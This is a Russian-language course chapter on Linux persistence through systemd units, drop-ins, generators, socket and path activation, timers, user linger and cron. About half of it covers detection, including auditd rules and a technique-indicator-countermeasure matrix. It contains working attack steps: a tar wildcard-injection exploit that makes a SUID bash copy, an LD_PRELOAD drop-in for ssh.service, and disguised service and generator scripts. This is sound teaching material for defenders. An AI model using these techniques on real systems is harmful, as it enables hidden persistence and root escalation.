Инъекция юнитов systemd и Cron
Предыдущие темы апокрифов заканчивались получением прав суперпользователя: сначала через окружение и артефакты пользователя, затем через SUID-биты и capabilities, затем через уязвимость ядра. Все эти приёмы живут ровно до перезагрузки. Задача следующего шага — закрепиться так, чтобы доступ восстанавливался сам, без участия атакующего, и чтобы точка закрепления выглядела частью штатной конфигурации системы.
В Linux для этого есть два конкурирующих механизма. Первый — systemd, менеджер инициализации и служб, который на современных дистрибутивах запускает почти всё: сеть, журналирование, вход в систему, таймеры, монтирование. Второй — cron, классический планировщик, который живёт в системе десятилетиями и часто остаётся включённым «на всякий случай». Оба механизма объединяет одно свойство: они исполняют код от имени того, кто имеет право писать в их конфигурацию, и оба хранят конфигурацию в файлах, которые никто не проверяет при каждом запуске.
Эта тема разбирает, как устроены обе подсистемы на уровне форматов, путей поиска и моментов запуска, как из них делается точка закрепления, которая переживает перезагрузку и обновление пакетов, и — вторая половина темы — как такая точка находится со стороны защитника. Отдельное внимание уделено wildcard-инъекции: это не про закрепление, а про повышение привилегий через задание планировщика, и оно показывает, почему даже правильно оформленный cron-скрипт может исполнять чужие команды.
Изложение идёт от общего к частному. Сначала — как systemd находит юнит и что происходит между systemctl start и первым execve. Затем — какие юниты дают закрепление и чем они отличаются по скрытности. Затем — cron: формат, окружение задания, слепые зоны. В конце — инвентаризация автозапуска, матрица «приём — признак — контрмера» и границы, за которыми приём перестаёт работать.
Все примеры приведены для Ubuntu 24.04 LTS с systemd 255. Вывод systemctl show, systemctl list-timers и systemd-analyze calendar получен на реальной системе и приведён как есть; вывод для вымышленной службы network-telemetry и вывод cron-команд помечен как пример — в среде автора нет ни этой службы, ни cron. На другой версии дистрибутива пути и формат вывода могут отличаться, и это нормально: важна структура, а не конкретные строки. Приёмы закрепления, о которых идёт речь, описаны в матрице MITRE ATT&CK как отдельная тактика Persistence 6.
Четыре уровня, на которых Linux запускает чужой код, показаны на рисунке 1.
Каталоги юнитов и порядок разрешения
Путь поиска и приоритет каталогов
Юнит — это текстовый файл с расширением, которое задаёт его тип: .service для службы, .socket для сокета, .timer для таймера, .path для наблюдения за файловой системой, .target для группы, .mount для точки монтирования. Формат — INI-подобный: секции в квадратных скобках, параметры Ключ=Значение, комментарии начинаются с # или ;. Полное описание синтаксиса — в systemd.unit(5) 1.
Когда systemd нужен юнит с именем foo.service, он не ищет его по всей файловой системе, а проходит фиксированный список каталогов и берёт первое совпадение. Для системного менеджера порядок такой (сокращённо, полный — в systemd.unit(5)):
/etc/systemd/system.control
/run/systemd/system.control
/run/systemd/transient
/etc/systemd/system
/etc/systemd/system.attached
/run/systemd/system
/run/systemd/system.attached
/usr/local/lib/systemd/system
/usr/lib/systemd/system
Правило простое: чем выше каталог в списке, тем выше приоритет. Файл в /etc/systemd/system перекрывает одноимённый файл из /usr/lib/systemd/system, поэтому пакет может обновлять свой юнит, не затирая администраторскую правку. Каталоги .control и .attached относятся к transient-юнитам и к юнитам, прикреплённым к контроллерам ресурсов; в обычной системе они пусты, но именно поэтому в них удобно прятать юнит: systemctl list-unit-files показывает только файлы на диске, а transient-юнит, созданный через D-Bus, на диске не лежит вовсе.
Проверить, откуда взят конкретный юнит, позволяет systemctl show:
systemctl show -p FragmentPath -p DropInPaths systemd-journald.service
FragmentPath=/usr/lib/systemd/system/systemd-journald.service
DropInPaths=
Поле FragmentPath — это и есть выигравший файл. Пустой DropInPaths означает, что дополнений нет. Если бы в /etc/systemd/system/systemd-journald.service.d/ лежал файл override.conf, он попал бы в DropInPaths, а FragmentPath остался бы прежним.
Маскировка — отдельный случай. Если вместо файла в каталоге с высоким приоритетом лежит символическая ссылка на /dev/null, юнит считается замаскированным и не может быть запущен даже как зависимость. Это штатный способ отключить службу, но он же применяется, чтобы скрыть факт подмены: администратор видит «masked», а не «enabled».
Drop-in и генераторы
Drop-in — это каталог <имя-юнита>.d/ рядом с юнитом, в котором лежат файлы *.conf. Они применяются поверх основного файла в лексикографическом порядке имён. Механизм нужен, чтобы не копировать весь юнит ради одной строки, и именно поэтому он удобен для незаметной правки: сам юнит остаётся пакетным и проходит проверку контрольных сумм, а изменение живёт в отдельном маленьком файле.
# /etc/systemd/system/ssh.service.d/10-audit.conf
[Service]
Environment=LD_PRELOAD=/usr/local/lib/libaudit.so
Такая правка не меняет ни FragmentPath, ни список включённых юнитов: systemctl list-unit-files --state=enabled покажет ssh.service enabled ровно как до неё. Заметить её можно только через systemctl cat, systemctl show -p DropInPaths или systemd-delta — утилиту, которая сравнивает перекрытые файлы и показывает различия.
Ещё один слой — генераторы. Это исполняемые файлы в /usr/lib/systemd/system-generators и /etc/systemd/system-generators, которые systemd запускает при загрузке и при daemon-reload. Генератор получает три каталога и пишет в них юниты, которые затем попадают в /run/systemd/generator (и в .early/.late-варианты). Генераторы существуют для динамической генерации: например, systemd-fstab-generator превращает /etc/fstab в .mount-юниты. С точки зрения закрепления это отдельный, почти невидимый канал: юнит не лежит ни в одном из штатных каталогов, а появляется в /run при каждой загрузке.
Генератор — обычный исполняемый файл, часто скрипт. Минимальный пример, который создаёт службу при каждой загрузке:
#!/bin/sh
# /etc/systemd/system-generators/99-sync-generator
set -eu
dir="$1"
mkdir -p "$dir"
cat > "$dir/sync-agent.service" <<'UNIT'
[Unit]
Description=Configuration Sync Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/libexec/sync-agent --quiet
Restart=always
[Install]
WantedBy=multi-user.target
UNIT
Файл должен быть исполняемым и принадлежать root. После перезагрузки юнит существует, но systemctl list-unit-files его не покажет: список строится по файлам в каталогах юнитов, а /run/systemd/generator в этот список не входит. Увидеть его можно через systemctl list-units --all (он там будет, потому что загружен) и через systemctl cat sync-agent.service, который покажет путь в /run/systemd/generator.
Каталоги, из которых systemd собирает конфигурацию, и приоритет между ними показаны на рисунке 2.
Что systemd делает при запуске юнита
Между systemctl start foo.service и первым execve проходит несколько шагов, и каждый из них — потенциальная точка наблюдения.
- Клиент
systemctlотправляет менеджеру запрос по D-Bus на шинуorg.freedesktop.systemd1. - Менеджер загружает юнит: читает
FragmentPath, накладывает drop-in, проверяет зависимости. - Создаётся cgroup юнита в
/sys/fs/cgroup/system.slice/foo.service/. - Для
Type=simpleменеджер вызываетfork, затем в дочернем процессе настраивает окружение, права (User=,Group=), лимиты, namespace'ы и вызываетexecve. Родитель сразу считает юнит запущенным. С точки зрения ядра это обычныйfork+execve, только сделанный от PID 1 и с заранее подготовленными атрибутами процесса 4. - Для
Type=forkingменеджер ждёт, пока основной процесс завершится, и только потом считает службу запущенной; дляType=notify— ждётsd_notify(READY=1)на сокете$NOTIFY_SOCKET.
Именно поэтому Type= — не формальность. Служба, которая объявлена как simple, но на самом деле демонизируется, будет выглядеть для systemd завершившейся, и Restart=always начнёт бесконечно её перезапускать. Для точки закрепления это не проблема, но для маскировки под легитимный сервис — важно: неправильный Type= выдаёт юнит при первом же systemctl status.
Окружение, которое получает процесс, собирается из нескольких источников: базовое окружение менеджера, Environment= в юните, EnvironmentFile= (файл с парами Ключ=Значение, без кавычек), PassEnvironment= (проброс переменных из менеджера). Переменные из юнита видны в /proc/<pid>/environ процесса-службы, и это один из первых признаков, которые проверяет защитник: путь к библиотеке в LD_PRELOAD, указывающий в /usr/local/lib, или LD_LIBRARY_PATH в системной службе — аномалия.
Служба как точка закрепления
Полный юнит и его жизненный цикл
Минимальный юнит, который переживает перезагрузку, состоит из трёх секций. Пример ниже намеренно похож на десятки легитимных сервисов: имя, описание и путь не должны выглядеть подозрительно.
# /etc/systemd/system/network-telemetry.service
[Unit]
Description=Network Telemetry Collector
Documentation=man:network-telemetry(8)
After=network-online.target
Wants=network-online.target
StartLimitIntervalSec=300
StartLimitBurst=5
[Service]
Type=simple
User=root
ExecStartPre=/usr/local/libexec/telemetry-check --quiet
ExecStart=/usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
Restart=always
RestartSec=30
RemainAfterExit=no
KillMode=mixed
TimeoutStopSec=10
[Install]
WantedBy=multi-user.target
Разберём строки, которые несут смысл для закрепления.
After=network-online.target и Wants= — служба ждёт сеть и сама подтягивает цель. Без Wants= она всё равно запустится, но может упасть на первом соединении; с ним — порядок гарантирован. StartLimitIntervalSec и StartLimitBurst ограничивают число перезапусков: по умолчанию пять попыток за десять секунд, после чего systemd переводит юнит в состояние failed и больше не пытается. Для агента, который должен работать всегда, лимит увеличивают, иначе падение на старте (например, из-за отсутствия сети) навсегда остановит службу.
Restart=always перезапускает процесс при любом завершении, включая exit 0. RestartSec=30 задаёт паузу. RemainAfterExit=yes нужен для Type=oneshot: без него юнит считается неактивным сразу после выхода процесса, и systemctl is-active возвращает inactive, хотя скрипт уже отработал. KillMode=mixed посылает SIGTERM только основному процессу и SIGKILL — остальным в cgroup; это важно, если служба порождает дочерние процессы, которые не должны пережить остановку.
ExecStartPre — отдельная строка запуска, которая выполняется до основного процесса и должна завершиться успешно. Это удобное место для проверки условий: если проверка возвращает ненулевой код, служба не запускается. Для закрепления ExecStartPre полезен тем, что позволяет держать полезную нагрузку в отдельном файле, а юнит — чистым.
Установка и запуск:
sudo systemctl daemon-reload
sudo systemctl enable --now network-telemetry.service
systemctl status network-telemetry.service --no-pager
● network-telemetry.service - Network Telemetry Collector
Loaded: loaded (/etc/systemd/system/network-telemetry.service; enabled; preset: enabled)
Active: active (running) since Mon 2026-10-19 17:31:04 MSK; 3s ago
Main PID: 48211 (telemetry-agent)
Tasks: 3 (limit: 18752)
Memory: 4.2M (peak: 4.4M)
CPU: 41ms
CGroup: /system.slice/network-telemetry.service
├─48211 /usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
└─48213 /usr/local/libexec/telemetry-agent --worker
enable создаёт символическую ссылку в multi-user.target.wants, --now сразу запускает. Строка Loaded: показывает путь и состояние, CGroup: — дерево процессов. Последнее особенно важно для защитника: если в cgroup службы видно sh -c, curl или python3, это повод посмотреть, что именно запускается.
Типы служб и что из них следует
Выбор Type= определяет, как systemd понимает момент готовности, и от этого зависит поведение при сбое.
Type= | Когда считается запущенной | Типичное применение | Что выдаёт подделку |
|---|---|---|---|
simple | сразу после fork+execve | долгоживущий процесс на переднем плане | демонизация внутри — служба «завершается» |
exec | после успешного execve | как simple, но с проверкой запуска | ошибка exec видна сразу |
forking | когда родительский процесс вышел | классические демоны | нужен PIDFile=, иначе systemd не найдёт процесс |
oneshot | когда процесс завершился | скрипты, разовые задачи | без RemainAfterExit=yes юнит неактивен |
notify | после sd_notify(READY=1) | службы с явной готовностью | без вызова sd_notify — таймаут запуска |
dbus | после захвата имени на шине | службы D-Bus | имя должно быть свободно |
Для закрепления чаще всего используют simple и oneshot с таймером. forking требует PIDFile=, иначе systemd не сможет отслеживать процесс, а notify требует, чтобы программа умела разговаривать с systemd, — лишняя сложность.
Маскировка под легитимный юнит
Точка закрепления редко выдаёт себя именем backdoor.service. Обычная практика — имя, состоящее из слов, которые встречаются в системных юнитах: systemd-networkd-wait-online, apt-daily, update-notifier, motd-news, snapd.refresh. Точное совпадение с существующим юнитом не нужно и опасно: оно конфликтует. Достаточно похожести.
Признаки, по которым такая служба всё равно находится:
Description=не совпадает с тем, что делает бинарник;ExecStart=указывает в/usr/local/libexec,/opt,/var/libили домашний каталог — системные службы обычно живут в/usr/bin,/usr/sbin,/usr/lib;- файл юнита создан позже остальных (
statпоказываетmtime,btime); - в
[Install]стоитWantedBy=multi-user.target, но пакет, которому принадлежит имя, такой юнит не поставляет (dpkg -Sне находит файл); - cgroup содержит процессы, не соответствующие описанию;
- в
journalctl -uвидны записи, которых не должно быть у службы с таким именем.
Socket-активация как скрытый триггер
Сокет-активация позволяет держать службу выключенной, пока к её сокету не подключились. systemd сам открывает слушающий сокет и передаёт его процессу при первом соединении. До этого в системе нет ни процесса, ни открытого дескриптора у службы — только сам сокет, который слушает PID 1.
# /etc/systemd/system/telemetry.socket
[Unit]
Description=Telemetry Socket
[Socket]
ListenStream=127.0.0.1:9418
Accept=no
Backlog=16
[Install]
WantedBy=sockets.target
# /etc/systemd/system/telemetry.service
[Unit]
Description=Telemetry Worker
Requires=telemetry.socket
After=telemetry.socket
[Service]
Type=simple
ExecStart=/usr/local/libexec/telemetry-worker
StandardInput=socket
StandardOutput=socket
При Accept=no systemd передаёт процессу уже слушающий сокет как файловый дескриптор 3 и выставляет переменные LISTEN_FDS=1 и LISTEN_PID=<pid>; процесс вызывает accept() сам. При Accept=yes systemd принимает соединение и запускает экземпляр шаблонного юнита telemetry@.service, передавая ему соединение на stdin/stdout; это удобно для простых обработчиков, которые читают запрос и пишут ответ. Готовые обёртки для второго случая — systemd-socket-activate и библиотека sd_listen_fds(3).
Почему это скрытно: systemctl list-units показывает telemetry.socket loaded active listening, но не показывает работающий процесс, пока нет соединения. Защитник, который ищет процессы, ничего не найдёт. Защитник, который смотрит ss -tulpn, увидит сокет, принадлежащий systemd (PID 1), а не подозрительному бинарнику. Обнаружить связь можно через systemctl list-sockets, systemctl status telemetry.socket (там будет Triggers: telemetry.service) и через systemctl show -p Triggers.
.path-юниты и таймеры
.path-юнит запускает службу при появлении или изменении файла. Это ещё один триггер без постоянного процесса.
# /etc/systemd/system/telemetry.path
[Unit]
Description=Watch telemetry drop directory
[Path]
PathExists=/var/lib/telemetry/queue
PathChanged=/var/lib/telemetry/queue
Unit=telemetry-worker.service
[Install]
WantedBy=paths.target
PathExists= срабатывает при появлении пути, PathChanged= — при изменении, PathModified= — при записи в файл, DirectoryNotEmpty= — когда каталог перестаёт быть пустым. Проверка идёт через inotify, поэтому срабатывание почти мгновенное. Комбинация «.path + oneshot-служба» даёт реакцию на событие без демона и без опроса.
Таймер — замена cron внутри systemd. Он состоит из двух юнитов: .timer задаёт расписание, .service — что запускать. Имя службы по умолчанию совпадает с именем таймера.
# /etc/systemd/system/telemetry.timer
[Unit]
Description=Periodic telemetry collection
[Timer]
OnBootSec=5min
OnUnitActiveSec=30min
RandomizedDelaySec=120
AccuracySec=1min
Persistent=true
Unit=telemetry.service
[Install]
WantedBy=timers.target
OnBootSec= отсчитывает время от загрузки, OnUnitActiveSec= — от последнего запуска юнита, OnCalendar= задаёт календарное расписание в формате День Дата Время. RandomizedDelaySec= разбрасывает запуски, чтобы они не приходились на одну секунду; AccuracySec= разрешает systemd сдвигать запуск в пределах окна ради экономии энергии (по умолчанию одна минута — именно поэтому таймеры «неточные»). Persistent=true заставляет systemd запомнить момент последнего запуска в /var/lib/systemd/timers/ и догнать пропущенное после выключения машины.
Проверка расписания без ожидания:
systemd-analyze calendar 'Mon *-*-* 03:30:00'
systemd-analyze calendar '*-*-* *:0/15'
Normalized form: Mon *-*-* 03:30:00
Next elapse: Mon 2026-10-26 03:30:00 MSK
(in UTC): Mon 2026-10-26 00:30:00 UTC
From now: 6 days left
Original form: *-*-* *:0/15
Normalized form: *-*-* *:00/15:00
Next elapse: Mon 2026-10-19 17:45:00 MSK
(in UTC): Mon 2026-10-19 14:45:00 UTC
From now: 14min left
Связка таймера и службы показана на рисунке 3.
Список активных таймеров и времени до следующего срабатывания:
systemctl list-timers --all --no-pager
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2026-10-19 22:38:51 MSK 5h 8min Mon 2026-10-12 21:51:15 MSK - reflector.timer reflector.service
Tue 2026-10-20 00:00:00 MSK 6h Mon 2026-10-19 14:27:51 MSK 3h 2min ago shadow.timer shadow.service
Tue 2026-10-20 14:42:55 MSK 21h Mon 2026-10-19 14:42:55 MSK 2h 47min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Колонки читаются так: NEXT — когда сработает в следующий раз, LEFT — сколько осталось, LAST — когда срабатывал, PASSED — сколько прошло, UNIT — таймер, ACTIVATES — что он запускает. Таймер без пары в ACTIVATES или с парой, указывающей в неожиданное место, — повод разбираться.
Пользовательский менеджер и linger
systemd --user и его каталоги
Кроме системного менеджера (PID 1), у каждого пользователя может быть свой экземпляр systemd — systemd --user. Он запускается при первом входе и управляет пользовательскими юнитами. Каталоги поиска для него другие:
~/.config/systemd/user
/etc/systemd/user
/run/systemd/user
~/.local/share/systemd/user
/usr/lib/systemd/user
Пользовательские юниты не требуют root — и это делает их удобной точкой закрепления для непривилегированного доступа. Ограничение: пользовательский менеджер живёт, пока жива сессия пользователя. Когда сессия закрывается (выход из SSH, завершение графического входа), systemd останавливает пользовательские юниты и удаляет /run/user/<uid>.
Обойти это позволяет linger. Команда
sudo loginctl enable-linger student
создаёт файл /var/lib/systemd/linger/student, и systemd запускает пользовательский менеджер при загрузке системы, не дожидаясь входа. Юниты пользователя работают без сессии, XDG_RUNTIME_DIR=/run/user/<uid> существует, сокеты и D-Bus доступны. Отключение — loginctl disable-linger student.
Проверить, у кого включён linger:
ls -l /var/lib/systemd/linger/
loginctl show-user student -p Linger
Linger=yes
Для защитника linger — это конкретный, легко проверяемый признак. В обычной системе файлов в /var/lib/systemd/linger нет или они принадлежат сервисным учёткам (например, пользователю, под которым работает контейнер). Появление linger у обычного пользователя стоит объяснить.
Пользовательские службы: установка и ограничения
mkdir -p ~/.config/systemd/user
# ... файл sync.service ...
systemctl --user daemon-reload
systemctl --user enable --now sync.service
systemctl --user status sync.service
Пользовательские службы не могут менять User= (они и так работают от пользователя), не получают CAP_* сверх того, что есть у пользователя, и не могут писать в системные каталоги. Зато они наследуют окружение пользователя: $HOME, $PATH, доступ к его файлам, ключам SSH, токенам в ~/.config. Для закрепления это означает доступ к пользовательским данным без единого повышения привилегий — часто этого достаточно.
Важная деталь: пользовательский менеджер не перезапускает упавшие юниты с той же настойчивостью, что системный, и его журнал попадает в общий journalctl --user-unit. Тем не менее Restart=always работает и здесь.
Cron: формат, окружение и слепые зоны
Синтаксис и каталоги
Cron — планировщик, который читает файлы расписаний и запускает команды с точностью до минуты. Строка расписания состоит из пяти полей и команды:
минута час день_месяца месяц день_недели команда
0-59 0-23 1-31 1-12 0-7 (0 и 7 — воскресенье)
Поддерживаются списки (1,15,30), диапазоны (9-17), шаги (*/5), а также сокращения @reboot, @yearly, @monthly, @weekly, @daily, @hourly. Полный синтаксис — в crontab(5) 2.
Файлы расписаний живут в нескольких местах, и это важно для инвентаризации:
| Путь | Кто пишет | Особенность |
|---|---|---|
/var/spool/cron/crontabs/<user> | сам пользователь через crontab -e | в Debian/Ubuntu; в RHEL — /var/spool/cron/<user> |
/etc/crontab | администратор | есть поле пользователя перед командой |
/etc/cron.d/* | пакеты и администратор | тоже с полем пользователя; имена файлов — только буквы, цифры, _, - |
/etc/cron.{hourly,daily,weekly,monthly}/ | пакеты | запускаются через run-parts, имена без точек |
/etc/anacrontab | администратор | догоняет пропущенные задания |
Разница между пользовательским crontab и /etc/cron.d — в поле пользователя. В файле пользователя его нет: команда выполняется от владельца crontab. В системных файлах шестое поле — имя пользователя, и именно оно определяет права:
# /etc/cron.d/telemetry
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""
*/20 * * * * root /usr/local/libexec/telemetry-collect --quiet
run-parts запускает все исполняемые файлы из каталога по очереди. В Debian он игнорирует имена, содержащие точки, — это защита от резервных копий вида backup.sh.bak, которые иначе выполнились бы повторно. Отсюда практическое правило: скрипт в /etc/cron.daily должен называться telemetry-collect, а не telemetry-collect.sh. Раскладка каталогов и правила именования — предмет политики дистрибутива, а не cron как такового; в Debian она описана в Debian Policy 5.
anacron решает другую задачу: он запускает задания, которые должны выполняться раз в сутки/неделю/месяц, но машина не работает круглосуточно. Он хранит отметки о выполнении в /var/spool/anacron/ и при загрузке догоняет пропущенное. В контейнерах и на ноутбуках anacron часто единственный работающий планировщик.
Окружение задания: почему «в терминале работает, в cron — нет»
Cron запускает команду не в вашей оболочке, а через /bin/sh -c с минимальным окружением. По умолчанию это:
SHELL=/bin/sh
PATH=/usr/bin:/bin
HOME=<домашний каталог пользователя>
LOGNAME=<имя пользователя>
MAILTO=<имя пользователя>
Ни ~/.bashrc, ни ~/.profile, ни PATH из интерактивной сессии не подхватываются. Отсюда три классические ошибки: команда не найдена, потому что лежит в /usr/local/bin, которого нет в PATH; скрипт падает, потому что рассчитывает на переменные из профиля; вывод уходит письмом, а не в терминал.
Проверить, что видит задание, можно так:
env -i SHELL=/bin/sh PATH=/usr/bin:/bin HOME="$HOME" LOGNAME="$USER" /bin/sh -c 'env; echo "---"; command -v python3'
Правильный способ — задать окружение в самом файле расписания:
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAILTO=""
HOME=/opt/telemetry
*/5 * * * * root /usr/local/libexec/telemetry-collect --quiet >> /var/log/telemetry.log 2>&1
MAILTO="" отключает письма. Без него cron пытается отправить вывод на локальную почту, и если MTA не настроен, задание может завершиться с ошибкой доставки — а на некоторых системах это видно в журнале.
Экранирование % и stdin
В crontab символ % имеет специальное значение: он превращается в перевод строки, а всё, что после первого %, отправляется на stdin команды. Поэтому date +%Y-%m-%d в задании сломается: %Y станет переводом строки, и date получит на вход мусор. Экранируется обратной косой чертой:
0 3 * * * root /usr/local/bin/report --stamp "$(date +\%Y-\%m-\%d)" > /var/log/report.log 2>&1
Это же свойство можно использовать намеренно: command %строка1%строка2 передаст строка1\nстрока2 на stdin. Для закрепления это редкий, но рабочий способ передать данные в программу, которая читает stdin.
Wildcard-инъекция
Отдельный класс проблем — не про закрепление, а про повышение привилегий. Задание cron, которое раскрывает * в каталоге, где может писать непривилегированный пользователь, исполняет чужие имена файлов как опции команды.
Механизм: оболочка раскрывает * до вызова execve, подставляя имена файлов как отдельные аргументы. Если имя файла начинается с --, программа воспринимает его как опцию. Классический пример — tar с --checkpoint-action=exec:
# /etc/cron.daily/backup-data — запускается от root
cd /var/data && tar -czf /backup/data.tar.gz *
Пользователь, у которого есть право записи в /var/data, создаёт два файла:
cd /var/data
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh payload.sh'
printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' > payload.sh
chmod +x payload.sh
После раскрытия * командная строка выглядит так:
tar -czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh data.csv notes.txt
tar разбирает аргументы, видит --checkpoint-action=exec=sh payload.sh и выполняет payload.sh от имени root в момент контрольной точки. Скрипт получает root-оболочку через SUID-копию bash.
Тот же приём работает с другими утилитами, которые принимают опции после операндов: rsync (-e), chown/chmod (--reference), zip, 7z, find (в некоторых формах). Защита простая и обязательная:
- завершать список операндов
--:tar -czf /backup/data.tar.gz -- *; - использовать
./:tar -czf /backup/data.tar.gz ./*— имена станут./--checkpoint=1и перестанут быть опциями; - не запускать задание из каталога, доступного на запись непривилегированным пользователям;
- использовать
findс явными-maxdepthи-nameвместо*.
Обнаружение и защита
Инвентаризация автозапуска
Защитник начинает не с поиска конкретного приёма, а с полной картины того, что запускается. Это ровно тот порядок действий, который рекомендует криминалистическая методика: сначала собрать состояние системы, потом интерпретировать 7. Минимальный набор команд:
systemctl list-unit-files --state=enabled --no-pager
systemctl list-timers --all --no-pager
systemctl list-sockets --all --no-pager
systemctl list-units --type=service --all --no-pager
systemd-delta --no-pager
list-unit-files --state=enabled показывает юниты, включённые в цели. list-timers --all — таймеры, включая неактивные. list-sockets — сокет-активацию. list-units — то, что реально загружено, включая transient и сгенерированные юниты. systemd-delta — перекрытия: файлы в /etc, которые заменяют или дополняют пакетные.
Дальше — точечные проверки:
# юниты, изменённые позже установки системы
sudo find /etc/systemd/system /etc/systemd/user /var/lib/systemd -type f -newermt '2026-01-01' -ls
# содержимое drop-in
systemctl show -p DropInPaths --value ssh.service
# проверка синтаксиса и зависимостей
sudo systemd-analyze verify /etc/systemd/system/telemetry.service
# пользовательские юниты и linger
ls -l /var/lib/systemd/linger/
systemctl --user list-unit-files --state=enabled
Для cron — отдельный обход:
sudo ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
sudo cat /etc/crontab /etc/anacrontab
sudo ls -la /var/spool/cron/crontabs/
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null; done
Права на файлы тоже признак: /etc/cron.d/telemetry должен принадлежать root и не быть доступным на запись группе или остальным. Файл с правами 666 в /etc/cron.d — готовая точка закрепления для любого пользователя.
Аудит: auditd и journald
auditd умеет фиксировать изменения конфигурации и запуск процессов. Правила для systemd и cron:
# /etc/audit/rules.d/persistence.rules
-w /etc/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/user/ -p wa -k systemd_persist
-w /run/systemd/generator/ -p wa -k systemd_generator
-w /etc/cron.d/ -p wa -k cron_persist
-w /etc/crontab -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist
-w /var/lib/systemd/linger/ -p wa -k linger
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec
-w путь -p wa — наблюдение за записью и изменением атрибутов. -k — ключ, по которому события ищутся через ausearch -k systemd_persist. Последнее правило пишет все execve с euid=0: это большой объём, но именно он показывает, что запускалось от root между событиями.
sudo ausearch -k systemd_persist -i --start today
sudo ausearch -k root_exec -i --start recent | grep -E 'comm=|exe='
journald даёт другую проекцию. Каждая служба пишет в журнал с полями _SYSTEMD_UNIT, _SYSTEMD_CGROUP, _PID, _COMM, _EXE. По ним видно, что служба запускалась, даже если её файл уже удалён:
journalctl -u telemetry.service --since '7 days ago' --no-pager
journalctl _COMM=systemd --since today | grep -i 'generator\|transient'
journalctl --verify
journalctl --verify проверяет целостность файлов журнала. Если злоумышленник правил журнал напрямую, проверка покажет расхождение; если журнал перенаправлен на внешний сервер через systemd-journal-remote, локальная правка не поможет. На практике администраторы ведут именно такую «вторую копию» журнала — вместе с инвентаризацией юнитов это базовый набор данных для разбора инцидента 3.
Матрица «приём — признак — контрмера»
| Приём | Признак | Контрмера |
|---|---|---|
Юнит в /etc/systemd/system | файл вне пакета, mtime свежий, dpkg -S не находит | AIDE/Tripwire на /etc/systemd, auditd -w, сверка с манифестом пакетов |
Drop-in в <unit>.d | systemctl show -p DropInPaths, systemd-delta | аудит drop-in, запрет правки пакетных юнитов без конфигурационного менеджера |
Генератор в /etc/systemd/system-generators | файл в каталоге генераторов, юнит в /run/systemd/generator | контроль каталога генераторов, auditd -w, поиск юнитов вне штатных путей |
| Transient-юнит | юнит есть в list-units, но FragmentPath пуст | мониторинг D-Bus-метода StartTransientUnit, журнал systemd |
| Сокет-активация | list-sockets, процесс отсутствует до соединения | инвентаризация сокетов, сверка с ожидаемыми портами |
.path-юнит | list-units --type=path, inotify-наблюдение | аудит path-юнитов, контроль каталогов-триггеров |
| Пользовательская служба + linger | /var/lib/systemd/linger/<user>, ~/.config/systemd/user | запрет linger для обычных пользователей, аудит домашних каталогов |
Таймер с RandomizedDelaySec | list-timers, нестандартное расписание | инвентаризация таймеров, сверка ACTIVATES |
Запись в /etc/cron.d | auditd, права файла, mtime | -w /etc/cron.d -p wa, права 644 root:root |
| Пользовательский crontab | crontab -l -u, файл в /var/spool/cron/crontabs | аудит spool, cron.allow |
| Wildcard-инъекция | имена файлов с -- в каталоге задания, execve от root с неожиданными аргументами | --/./ в заданиях, find вместо *, права на каталог |
Границы: что ломает приём
Ни один из приёмов не универсален, и границы полезно знать заранее.
Только root. Запись в /etc/systemd/system, /etc/cron.d, /etc/crontab, /usr/lib/systemd/system-generators требует root. Без него остаются пользовательские юниты и crontab -e — они работают от пользователя и не дают новых прав.
Linger по умолчанию выключен. Пользовательская служба без linger умирает вместе с сессией. Включить linger может только root (или сам пользователь, если у него есть право через polkit — в стандартной конфигурации такого права нет).
SELinux/AppArmor. Мандатный контроль может запретить службе доступ к файлам, которых нет в её профиле. Юнит запустится, но полезная нагрузка не сможет прочитать нужный каталог. В Ubuntu AppArmor профили для системных служб ограничивают /usr/local/libexec; в RHEL SELinux-контекст файла в /usr/local может не совпадать с ожидаемым.
Только чтение корневой файловой системы. На системах с dm-verity, IMA или смонтированным read-only /usr правка пакетных юнитов не переживёт проверку целостности. Остаются /etc и /var, но IMA-политика может запрещать исполнение неподписанных бинарников.
systemd-analyze verify и daemon-reload. Синтаксическая ошибка в юните не даст ему загрузиться; daemon-reload нужен после любой правки, иначе systemd продолжит работать со старым содержимым в памяти.
Cron может быть выключен. В контейнерах cron обычно не запущен, в минимальных образах его нет вовсе. Проверять надо не наличие файла, а наличие процесса cron/crond и активность cron.service.
Итоги темы
systemd и cron — две подсистемы, которые решают одну задачу: запустить заданный код в заданный момент от заданного пользователя. Различаются они механизмом. systemd строит граф юнитов, ищет их по приоритетному списку каталогов, поддерживает drop-in, генераторы, сокет-активацию, path-триггеры и таймеры; cron читает плоские файлы расписаний и запускает команды через /bin/sh -c с минимальным окружением. Для закрепления важны обе: systemd даёт больше способов спрятать триггер, cron — меньше следов и меньше зависимостей.
Ключевое наблюдение темы: точка закрепления почти никогда не является «новым процессом». Это либо изменение существующего юнита через drop-in, либо юнит, сгенерированный в /run при загрузке, либо сокет, который слушает PID 1, либо пользовательская служба, живущая благодаря linger. Именно поэтому инвентаризация должна идти не по процессам, а по конфигурации и её источникам: FragmentPath, DropInPaths, systemd-delta, /run/systemd/generator, /var/lib/systemd/linger, /etc/cron.d, spool-каталоги.
Вторая половина темы — wildcard-инъекция — показывает, что задание планировщика опасно не только тем, что оно запускает, но и тем, как оно раскрывает аргументы. Правило -- и отказ от * в пользу find закрывают этот класс целиком.
Дальше речь пойдёт о том, что находится ниже systemd: о загрузчике и initramfs. Тема 6 разбирает, как изменить систему до того, как она смонтирует корень, и почему такие изменения не видны ни в journalctl, ни в списке служб.
Литература
- systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
